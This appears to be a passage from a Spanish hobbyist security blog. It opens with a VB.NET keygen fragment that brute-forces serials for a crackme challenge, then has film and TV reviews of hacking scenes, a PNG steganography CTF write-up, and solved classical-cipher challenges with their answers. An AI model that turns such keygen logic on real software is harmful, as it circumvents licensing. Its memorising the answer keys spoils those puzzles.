                txtdebug.Text &= "- Buscando valores de b y c" & vbCrLf
                txtdebug.Text &= "Serial = aabbbbcccc" & vbCrLf
                '
                'c = sqr(a^2 + b^2)
                '
                txtdebug.Text &= "(1) c = raiz(a^2 + b^2)" & vbCrLf
                txtdebug.Text &= "(2) c - b - 8 = 0" & vbCrLf
                For i = 0 To a.Length - 1 ' todas las posibilidades de a
                    For b = 0 To 65535 'b -> 0000 - FFFF
                        c = Math.Sqrt(a(i) ^ 2 + b ^ 2)
                        If c.Contains(".") Then 'busco enteros
                        Else
                            cx = c - b - 8
                            cx = Hex(cx).PadLeft(4, "0"c)
                            lbl_info.Text = cx
                            If cx = "0000" Then
                                txtdebug.Text &= " (1) " & Hex(c).PadLeft(4, "0"c) & " = raiz(" & Hex(a(i)).PadLeft(2, "0"c) & "^2 + " & Hex(b).PadLeft(4, "0"c) & "^2)" & vbCrLf
                                lst_serials.Items.Add(Hex(a(i)).PadLeft(2, "0"c) & Hex(b).PadLeft(4, "0"c) & Hex(c).PadLeft(4, "0"c))
                                txtdebug.Text &= " (2) " & Hex(c).PadLeft(4, "0"c) & " - " & Hex(b).PadLeft(4, "0"c) & " - 8 = 0" & vbCrLf
                            End If
                        End If
                        Application.DoEvents()
                    Next
                Next
                lbl_info.Text = "Búsqueda finalizada"
            End If
        Catch ex As Exception
            MsgBox(ex.ToString)
        End Try

Enlaces

En esta ocasión vamos a hablar de una película de culto de los años 90, Hackers – Piratas Informáticos. La verdad es que aunque puede ser entretenida, tecnológicamente es una pesadilla y es que esta película es un claro ejemplo de cuando Hollywood prefiere agradar visualmente a representar escenas realistas.

Tras cuatro minutos en los que se nos presenta a Dade (Jonny Lee Miller) y sus problemas con la ley a una temprana edad, saltamos unos años después hasta ver a Dade encerrado en su habitación volviendo a las andadas intentando acceder ilegítimamente a los servidores de una cadena de televisión. Para ello hace uso de algo muy conocido en el mundillo Hacker, la Ingeniería Social, y es que aunque ahora disponemos de «cierta» conciencia en seguridad informática, en los años 90 no había ninguna. Bien, el caso es que Dade llama a las oficinas de la citada cadena de televisión a una hora en la que no hay más que el vigilante de seguridad y éste le proporciona un número que debemos suponer que es la IP de un Módem y comienza la intrusión.

BTM

Para empezar, se le ve al protagonista escribir comandos cuando en la pantalla no hay más que una animación en algo parecido a una ventana de terminal al estilo «Commander», pero no vemos lo que escribe, algo irreal.

vlcsnap-2015-11-25-18h00m25s936

A continuación y como por arte de magia entra en el sistema y lo que se muestra es una animación parpadeante con el logo de la compañia y el nombre del sistema al que estamos accediendo, también irreal.

vlcsnap-2015-11-25-12h43m18s762

Finalmente nos muestra sus intenciones, y son nada más y nada menos que cambiar la programación actual simplemente cambiando de VHS, inmejorable. A continuación os muestro la secuencia.

Por lo menos nos queda el consuelo de que cambia la tertulia de un tipejo con ciertos prejuicios raciales por una programación más interesante como «The Outer limits«, aquí conocida como «Más allá del límite«.

El resto de escenas informáticas de la película carecen de veracidad, la única que se salva, puede ser cuando accede al servidor del Instituto para programar el sistema contra incendios y vengarse de Kate (Angelina Jolie), ya que las imágenes que aparecen son de los primeros entornos gráficos de Mac.

vlcsnap-2015-11-25-18h29m08s043

vlcsnap-2015-11-25-18h29m15s390

vlcsnap-2015-11-25-18h29m31s550

Es extraño que casi todas las intrusiones las realiza desde su propia casa, algo poco inteligente, ya que por muy bueno que seas, siempre dejas huellas. Solo cuando se enfrentan a un Super-Hacker se empiezan a tomar las cosas en serio y realizan los ataques desde cabinas telefónicas.

En la película También hacen mención al Phreaking y a algunos de los libros que eran famosos por aquella época pero poco más que destacar. Por todo esto y mucho más, y aunque me caen igual de bien tanto Angelina como Jonny, la película se merece un majestuoso sello de BTM.

hackers_sello

Enlaces


Intro Se suele decir que para cada problema hay una solución. Si esto lo llevamos al terreno stego podemos decir
En el BTM anterior nos remontábamos al año 2006 para ver un pequeño gazapo ocurrido en la serie Dexter. En
Introducción Cripto 1 Cripto 2 Cripto 3 Cripto 4 Cripto 5 Cripto 6 Cripto 7 Cripto 8 Cripto 9 Cripto 10

Intro

Se suele decir que para cada problema hay una solución. Si esto lo llevamos al terreno stego podemos decir que para cada reto hay una herramienta que nos da la solución. En la entrada anterior os comenté que mi fondo de armario son steganabara y stegsolve aunque cuando la imagen es PNG, una herramienta de uso obligatorio es TweakPNG.

La víctima

imagen original del reto

Nos enfrentamos a una imagen PNG de 112KB (115477 bytes) con una resolución de 300×225 píxeles. A priori llama la atención el elevado tamaño VS la baja resolución, lo que aviva nuestras sospechas de que esos KB extras se deban a que haya insertado otro archivo en su interior.

Chunk

Los archivos PNG tienen la peculiaridad de que están divididos en secciones (chunks) en la que algunas son críticas como IHDR (cabecera), IDAT (la imagen) e IEND (final) y otras muchas secundarias como por ejemplo tEXt (para insertar texto). Al explorar el archivo con TweakPNG vemos la cabecera, varios chunks de texto, muchos IDAT que he combinado en uno para mejorar el análisis y la sección final. Si os fijáis, al combinar los IDAT ha cambiado el tamaño del PNG de 115447 a 110893 bytes aunque en este caso sigue siendo un tamaño elevado.

aspecto original de los chunks
aspecto de los chunks tras combinar todos los IDAT en uno

Llama la atención el chunk cHRm de 12595 bytes del que TweakPNG ya nos avisa que no reconoce su contenido. Cargamos la imagen en un editor hexadecimal y buscamos la palabra «Great» que es el texto que hay justo antes del chunk cHRm que nos interesa.

detalle del chunk cHRm en editor hexadecimal

La búsqueda da sus frutos ya que el chunk parece que está formado por un archivo mp4. A partir de aquí tenemos varias opciones, para mí la más limpia es con un editor hexadecimal apuntar los offsets de inicio y fin del chunk y crear un archivo nuevo con el contenido. Otra opción es exportar el chunk desde TweakPNG con extensión mp4 y borrar los bytes del nombre del chunk con un editor hexadecimal, de lo contrario no podréis reproducir el mp4.

nombre del chunk a borrar para que funcione el mp4

Hecho esto, al escuchar el mp4 obtenemos la solución del reto.

Enlaces

Nota: si algo os pide clave es deurus.info

En el BTM anterior nos remontábamos al año 2006 para ver un pequeño gazapo ocurrido en la serie Dexter. En esta ocasión vamos a hablar sobre un pequeño detalle de una serie actual, Absentia. No es un gazapo, pero es algo bastante poco creíble hoy día.

Hide me

La escena la protagoniza Emily Byrne (Stana Katic) y en ella se ve a Emily buscar algo sospechoso en un portátil.

Primer detalle

En la primera imagen y antes de que Emily haga clic en Documents, se puede apreciar un acceso directo que reza Browser con un icono de la bola del mundo y una lupa. Muy chulo pero para darle más credibilidad a la escena se podía mostrar un acceso directo de Chrome, Firefox o Internet Explorer que son los navegadores más usados.

Where is my Browser?

Where is my Browser?

Para rematar…

A lo que vamos. Emily decide mirar en la carpeta Documents > Videos y para su sorpresa está vacía. Pero como Emily es una mujer de recursos decide comprobar si hay archivos ocultos y para ello retoca las opciones de carpeta.

¡Tachán!, como por arte de magia aparecen todas las carpetas del supuesto asesino con todo tipo de vídeos incriminatorios. Como he comentado anteriormente, parece poco creíble pensar que algo que te puede llevar a la cárcel de por vida sea protegido de forma tan pobre.

Enlaces

Introducción

Los retos de encriptación son muy variados como hemos comentado anteriormente. Aquí tenemos unos buenos ejemplos de ello.

Cripto 1

En este primer nivel nos encontramos con un método de encriptación muy antíguo.    Sólo diré como pista, que es de los más antiguos que se conocen.

ozhlofxrlmvhxzorulimrz

Lo primero que suelo hacer en este tipo de retos cuando son solamente letras, es comprobar las dos opciones más típicas, que son el cifrado César y Vigenere. En este caso necesitamos ahondar un poco más, aunque enseguida llegamos a la conclusión de que el cifrado usado es el afín. Un ataque por fuerza bruta nos devuelve la solución y los coeficientes utilizados.

Solución: A=25,B=25  – LASOLUCIONESCALIFORNIA

Fuente: http://www.dcode.fr/chiffre-affine


Cripto 2

En este segundo nivel recordaremos a un general romano muy conocido. Lo complicaremos un poco, sólo lo justo para que cueste algo más de cinco minutos encontrar la clave 🙂

oehoeahhjoexhkzqhfsvzhffhwrhotqk

Lo primero que nos viene a la cabeza es el cifrado César pero no va. Probando varios cifrados por sustitución al final damos con el correcto. De nuevo un ataque por fuerza bruta nos da frutos.

Solución: (3,4,5)/1  – LACLAVEDELASEGUNDAPRUEBAESMEKONG

Fuente: https://www.dcode.fr/chiffre-decalages


Cripto 3

Este nivel también va a ser sencillo. Estos caracteres, pertenecientes a un sistema bastante conocido de encriptado, esconden una palabra que, al introducirla (en minúsculas), nos permitirá superar el nivel.

Investigando un poco llegamos a la conclusión de que se trata del cifrado Francmasón o Pig Pen.

Solución: primates

Fuente: https://www.dcode.fr/chiffre-pig-pen-francs-macons


Cripto 4

Esta prueba es tan simple que la he dividido en dos partes que, aunque de apariencia similar, se resuelven de distinta manera. La clave es la unión de las dos palabras resultantes de descifrar las dos líneas de números y que, juntas, forman una tercera palabra.

0111001101110101011100000110010101110010
0001001110011000111110100100110010010001

La primera parte se puede convertir en bloque:

0111001101110101011100000110010101110010 = super

Fuente: https://www.rapidtables.com/convert/number/binary-to-ascii.html

Para la segunda debemos separar en grupos de 5 dígitos y listo:

00010   01110   01100   01111   10100   10011   00100   10001

 C             O          M           P            U          T           E           R

Fuente: www.lindau-nobel.org


Cripto 5

Para descubrir la palabra clave sólo se necesita una mínima capacidad de observación.

31 04 40 23 20 34 33 13 23 22

Se trata del cuadrado de Polibio.


Cripto 6

Aquí hay que hacer un poco de trabajo de investigación: Hay que descubrir la clave que empleó un escritor francés (Una pista: «Lagardère») en una de sus novelas, que es la empleada aquí para formar la palabra clave (en minúsculas) que, por cierto, es alemana.

RI3I2MIL2I2A3

POR RESOLVER


Cripto 7

Seguimos con cosas fáciles. Se trata de descifrar este texto escrito en inglés.

kgw qkoev ol 617 qthpreoz iwjpz sdkg kgw pdeyeplk rwqdjzwe ipezwq spbbdq sgo sgwz goqkdbdkdwq iwjpz spq rwkwecdzwr ko cpmw gdq uweqozpb yozkedihkdoz ko kgw spe wlloek

Una vez descifrado, nos será fácil descubrir la clave:

pzpyozrp

Se trata de  un cifrado de sustitución mono alfabético.

ABCDEFGHIJKLMNOPQRSTUVWXYZ
ZLMIRVHUBGTFJKOASDWQPYEXCN

THE STORY OF 617 SQUADRON BEGAN WITH THE AIRCRAFT DESIGNER BARNES WALLIS WHO WHEN HOSTILITIES BEGAN WAS DETERMINED TO MAJE HIS PERSONAL CONTRIBUTION TO THE WAR EFFORT

Una vez descifrado el alfabeto la solución queda:

pzpyozrp = anaconda

Cripto 8

A veces, las cosas no son lo que parecen. Donde aparecen unos números, en realidad hay otros números distintos.

273664524572348321143738
853442616537643005319627

POR RESOLVER


Cripto 9

Para resolver algunos problemas, hay que tener una buena base. Este es un buen ejemplo de ello:

ZW50ZXJwcmlzZQ0K

¿Os suena base 64?

Solución: enterprise

Fuente: https://www.base64decode.org/


Cripto 10

Esto es más complicado. Para descifrar este texto que contiene la clave para superar el nivel, se necesita otra clave. Para que no sea demasiado difícil, he utilizado una palabra muy sencilla de sólo cuatro letras 🙂

myiemyuvbaeewcxweghkflxw

Mediante fuerza bruta matamos dos pájaros de un tiro.

lapalabraclaveesdiogenes

Fuente: https://www.guballa.de/vigenere-solver


Enlaces